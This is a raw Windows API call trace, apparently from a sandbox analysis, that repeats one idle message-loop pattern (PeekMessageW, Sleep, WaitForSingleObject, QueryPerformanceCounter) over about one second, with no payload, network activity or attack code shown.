[0129.767] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.767] Sleep (dwMilliseconds=0x64) [0129.782] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.782] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707077668) returned 1 [0129.783] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707077833) returned 1 [0129.783] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.784] Sleep (dwMilliseconds=0x64) [0129.797] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.798] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707129183) returned 1 [0129.798] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707129350) returned 1 [0129.798] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.799] Sleep (dwMilliseconds=0x64) [0129.813] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.813] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707182358) returned 1 [0129.813] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707182526) returned 1 [0129.814] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.814] Sleep (dwMilliseconds=0x64) [0129.829] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.829] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707235631) returned 1 [0129.829] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707235799) returned 1 [0129.829] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.830] Sleep (dwMilliseconds=0x64) [0129.845] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.845] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707290081) returned 1 [0129.845] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707290249) returned 1 [0129.845] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.846] Sleep (dwMilliseconds=0x64) [0129.860] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.860] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707342594) returned 1 [0129.860] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707342759) returned 1 [0129.861] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.861] Sleep (dwMilliseconds=0x64) [0129.876] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.876] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707395949) returned 1 [0129.876] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707396136) returned 1 [0129.876] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.877] Sleep (dwMilliseconds=0x64) [0129.892] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.892] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707451132) returned 1 [0129.892] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707451298) returned 1 [0129.892] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.893] Sleep (dwMilliseconds=0x64) [0129.907] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.907] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707502470) returned 1 [0129.907] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707502656) returned 1 [0129.907] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.908] Sleep (dwMilliseconds=0x64) [0129.922] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.922] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707555827) returned 1 [0129.922] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707556002) returned 1 [0129.923] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.923] Sleep (dwMilliseconds=0x64) [0129.942] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.942] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707624510) returned 1 [0129.943] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707624664) returned 1 [0129.943] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.944] Sleep (dwMilliseconds=0x64) [0129.953] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.953] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707662078) returned 1 [0129.954] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707662233) returned 1 [0129.954] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.954] Sleep (dwMilliseconds=0x64) [0129.969] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.969] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707715478) returned 1 [0129.969] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707715635) returned 1 [0129.970] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.970] Sleep (dwMilliseconds=0x64) [0129.990] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.990] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707786314) returned 1 [0129.990] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707786511) returned 1 [0129.990] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.991] Sleep (dwMilliseconds=0x64) [0130.033] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.033] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707934323) returned 1 [0130.033] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707934519) returned 1 [0130.034] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.034] Sleep (dwMilliseconds=0x64) [0130.047] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.047] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707982594) returned 1 [0130.047] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707982795) returned 1 [0130.048] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.048] Sleep (dwMilliseconds=0x64) [0130.063] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.063] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708035536) returned 1 [0130.063] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708035719) returned 1 [0130.063] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.064] Sleep (dwMilliseconds=0x64) [0130.087] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.087] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708119832) returned 1 [0130.087] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708120016) returned 1 [0130.088] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.088] Sleep (dwMilliseconds=0x64) [0130.097] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.097] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708152374) returned 1 [0130.097] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708152546) returned 1 [0130.097] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.098] Sleep (dwMilliseconds=0x64) [0130.111] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.111] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708201343) returned 1 [0130.111] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708201516) returned 1 [0130.112] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.112] Sleep (dwMilliseconds=0x64) [0130.125] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.125] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708249394) returned 1 [0130.125] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708249561) returned 1 [0130.126] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.126] Sleep (dwMilliseconds=0x64) [0130.141] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.142] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708305005) returned 1 [0130.142] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708305177) returned 1 [0130.142] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.143] Sleep (dwMilliseconds=0x64) [0130.156] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.156] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708355362) returned 1 [0130.156] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708355548) returned 1 [0130.157] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.157] Sleep (dwMilliseconds=0x64) [0130.172] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.172] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708409004) returned 1 [0130.172] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708409222) returned 1 [0130.173] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.173] Sleep (dwMilliseconds=0x64) [0130.192] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.192] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708476616) returned 1 [0130.192] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708476794) returned 1 [0130.192] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.193] Sleep (dwMilliseconds=0x64) [0130.204] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.204] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708517840) returned 1 [0130.204] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708518006) returned 1 [0130.204] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.205] Sleep (dwMilliseconds=0x64) [0130.219] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.219] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708568828) returned 1 [0130.219] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708568996) returned 1 [0130.219] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.220] Sleep (dwMilliseconds=0x64) [0130.234] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.234] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708622088) returned 1 [0130.234] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708622244) returned 1 [0130.235] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.235] Sleep (dwMilliseconds=0x64) [0130.250] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.250] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708675197) returned 1 [0130.250] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708675352) returned 1 [0130.250] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.251] Sleep (dwMilliseconds=0x64) [0130.266] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.266] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708731862) returned 1 [0130.266] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708732018) returned 1 [0130.267] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.268] Sleep (dwMilliseconds=0x64) [0130.281] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.281] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708781936) returned 1 [0130.281] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708782121) returned 1 [0130.282] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.282] Sleep (dwMilliseconds=0x64) [0130.297] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.297] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708835903) returned 1 [0130.297] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708836081) returned 1 [0130.297] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.298] Sleep (dwMilliseconds=0x64) [0130.313] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.313] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708890525) returned 1 [0130.313] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708890703) returned 1 [0130.313] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.314] Sleep (dwMilliseconds=0x64) [0130.328] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.328] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708941906) returned 1 [0130.328] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708942089) returned 1 [0130.329] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.329] Sleep (dwMilliseconds=0x64) [0130.343] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.344] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=708995296) returned 1 [0130.344] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=708995481) returned 1 [0130.344] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.345] Sleep (dwMilliseconds=0x64) [0130.361] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.361] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=709054139) returned 1 [0130.361] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=709054328) returned 1 [0130.361] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.362] Sleep (dwMilliseconds=0x64) [0130.375] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.375] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=709101848) returned 1 [0130.375] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=709102035) returned 1 [0130.375] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.376] Sleep (dwMilliseconds=0x64) [0130.390] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.390] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=709155099) returned 1 [0130.390] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=709155266) returned 1 [0130.391] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.391] Sleep (dwMilliseconds=0x64) [0130.406] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.406] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=709208451) returned 1 [0130.406] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=709208616) returned 1 [0130.406] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.407] Sleep (dwMilliseconds=0x64) [0130.441] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.441] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=709328890) returned 1 [0130.441] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=709329070) returned 1 [0130.443] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.443] Sleep (dwMilliseconds=0x64) [0130.453] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.453] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=709368445) returned 1 [0130.453] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=709368612) returned 1 [0130.453] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.454] Sleep (dwMilliseconds=0x64) [0130.468] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.468] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=709421709) returned 1 [0130.468] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=709421874) returned 1 [0130.469] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.469] Sleep (dwMilliseconds=0x64) [0130.500] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.500] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=709529601) returned 1 [0130.500] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=709529774) returned 1 [0130.500] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.501] Sleep (dwMilliseconds=0x64) [0130.516] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.516] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=709584278) returned 1 [0130.516] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=709584499) returned 1 [0130.516] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.517] Sleep (dwMilliseconds=0x64) [0130.531] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.531] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=709635209) returned 1 [0130.531] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=709635376) returned 1 [0130.531] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.532] Sleep (dwMilliseconds=0x64) [0130.547] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.547] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=709690542) returned 1 [0130.547] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=709690728) returned 1 [0130.548] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.548] Sleep (dwMilliseconds=0x64) [0130.562] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.562] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=709742133) returned 1 [0130.562] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=709742300) returned 1 [0130.563] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.563] Sleep (dwMilliseconds=0x64) [0130.577] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.577] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=709795009) returned 1 [0130.578] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=709795175) returned 1 [0130.578] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.579] Sleep (dwMilliseconds=0x64) [0130.593] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.593] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=709848293) returned 1 [0130.593] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=709848463) returned 1 [0130.594] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.594] Sleep (dwMilliseconds=0x64) [0130.610] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.610] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=709905729) returned 1 [0130.610] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=709905898) returned 1 